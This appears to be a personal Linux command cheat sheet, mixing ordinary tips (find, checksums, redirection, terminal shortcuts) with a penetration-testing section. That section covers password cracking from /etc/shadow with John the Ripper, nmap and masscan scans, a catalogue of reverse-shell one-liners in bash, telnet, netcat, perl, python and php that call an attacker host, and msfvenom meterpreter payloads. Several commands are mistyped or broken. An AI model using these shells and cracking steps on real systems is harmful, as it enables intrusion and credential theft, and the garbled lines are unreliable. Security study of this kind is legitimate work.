Linux¶
- change default application
open file browser, such as pcmanfm, right click the file and select open with.
choose the program or shell command, then select some checkbox with label “always open this kind of file ..”
- zathura clipboard
in viewer, :code:
set selection-clipboard clipboardin
~/.config/zathura/zathurarcor/etc/zathurarcadd the above command
- find
find . type f -size +10kfind . type f -atime -7find . -maxdepth 3 -type ffind . -mindepth 2 -type ffind /home -name "*.txt" -o -name "*.pdf"find . -regex ".*\(\.txt\|\.pdf\)$"find . -type f -name "*.txt" -deletefind . -type f -perm 777find . -type f -user root -exec chown tom {} \;find . -type f -mtime +30 -name "*.log" -exec cp {} old \;find . -name "*.java"|xargs cat | gerp -v ^$|wc -l
- John the Ripper
unshadow /etc/passwd /etc/shadow > test_passwd
john –word-list=path_to_wordlist test_passwd
arp -l
- nmap
nmap -Pn -p22,80,111,49780 -A -oN nmap.txt IP
nmap -v -sV IP/sub_net
- masscan
masscan -p1-65535,U:1-65535 IP --rate=1000
- checksum
echo 'hello world' | md5sum -echo 'hello world' | sha256sum -echo 'hello world' | sha512sum -
- redirect input/output
1.
cmd >&nsend output to file descriptor n 1.cmd m>&nsend file descriptor m to file descriptor n #.cmd > file 2>1redirect stderr to stdout, then redict both to file. #.cmd &> fileredirect stderr and stdout to file #.cmd >& fileredirect stderr and stdout to file #.cmd >& file 0>&1redicrect stderr, stdout, stdin to file- sudo
echo password | sudo -S comamnd
- reverse shell
bash
attacker:
nc -nvlp 4444target:
bash -i >& /dev/tcp/attack_ip/attack_port 0>&1
telnet
attacker:
nc -nvlp 4444; nc -nvlp 5555target:
telnet attack_ip 4444 | /bin/bash | telnet attack_ip 5555
netcat
attacker: :codee:`nc -nvlp 4444`
target:
nc -v attack_ip 4444 -e /bin/bash
perl
attacker:
nc -nvlp 4444target:
perl -e 'use Socket;$i="attack_ip";$p=4444;socket(S,PF_INET,SOCK_STEAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">$S");exec("/bin/bash -i");};'
python
attacker:
nc -nvlp 4444target:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect("attacker_ip",attacker_port);os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i]);'
php
attacker:
nc -nvlp 4444target:
php -r '$sock=fsockopen("attack_ip", attack_port);exec("/bin/bash -i <&3 >&3 2>&3");'
msf
php:
msfvenom -p php/meterpreter/reverse_tcp LHOST=attacker_ip LPORT=attacker_port -f raw > /root/shell.phpwindows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=attacker_ip LPORT=attacker_port -f exe > /root/hacker.exelinux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=attacker_ip LPORT=attacker_port -f elf > /root/shellattacker
use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset LHOST attacker_ipset LPORT attacker_portrun # or exploit
exec
attacker:
nc -nvlp 4444target:
exec 5<>/dev/tcp/attacker_ip/attacker_port; cat <&5 | while read line; do $line 2>&5 >&5; done
- terminal shorthand
C-u: cut from cursor to line head
C-k: cut from cursor to line end
C-w: cut from cursor to word head
A-d: cut from cursor to word end
C-y: paste the content that was cut before
C-a: move cursor to line head
C-e: move cursor to line end
C-b/C-f: move cursor backword/forword a character
A-b/A-f: move cursor backword/forword a word